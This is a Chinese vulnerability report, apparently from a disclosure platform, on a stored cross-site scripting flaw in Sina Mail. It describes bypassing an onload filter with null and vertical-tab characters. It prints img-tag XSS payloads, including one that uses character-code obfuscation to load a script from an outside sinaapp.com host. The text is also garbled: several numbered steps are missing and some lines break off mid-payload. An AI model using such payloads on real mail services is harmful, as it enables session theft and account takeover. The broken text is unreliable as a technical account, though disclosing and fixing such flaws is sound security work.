新浪邮箱正文存储型XSS,空字节不仅能上传,还能跨站

作者:hack1990 时间:12-09-17 阅读数:597人阅读

简要描述:

说到00这个东西,大家最熟悉的应该是上传截断,%00之类的。

00 通常表示字符串结束, 在C里是\0, JS里通常写为\u0000。

关于\0在XSS的应用,好像不算是很多吧,比较有名的 xss list(upload/201209171657461751.jpg' onload='alert(1)'>

2. 不出意外, onload='alert(1)'被过滤掉了。

3. 继续测试过滤方式,输入以下代码

<img src='upload/201209171657475207.jpg' onload/='alert(1)'>

4. 看输出 onload\/='alert(1)' 这个可以说明:

新浪不是直接replace掉 onload之类的字符,

5. 经过测试onload空白符=alert('1') 一样会被过滤,可以推出:

大概的正则是 onload\s+=任意连续字符 被过滤为空

6. 根据以上测试结果,我们可以构建一个挑战性的模型如下:

onload某个不是空白的字符=alert('1') 

7. 构建一个测试页面: 见(upload/201209171658504243.jpg' onload\u000b='-function(){var s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(47,47,97,112,112,109,97,107,101,114,46,115,105,110,97,97,112,112,46,99,111,109,47,109,46,106,115);document.body.appendChild(s);}()'></img>",

14. 这里还得说一下,\u0000 甚至可以写为

xxx.innerHTML="<img on\u0000load='alert(1)'>" 一样可以运行~

漏洞证明:

测试分别在WIN7+IE9, vista+IE7, XP+IE7进行,均成功!

WIN7+IE9

新浪邮箱正文存储型XSS,空字节不仅能上传,还能跨站

XP+IE7

新浪邮箱正文存储型XSS,空字节不仅能上传,还能跨站

占用乌云一点点存储空间, 俺简陋的工具,也出来露露脸吧!!

新浪邮箱正文存储型XSS,空字节不仅能上传,还能跨站

修复方案:

过滤\u0000 与\u000b

发表评论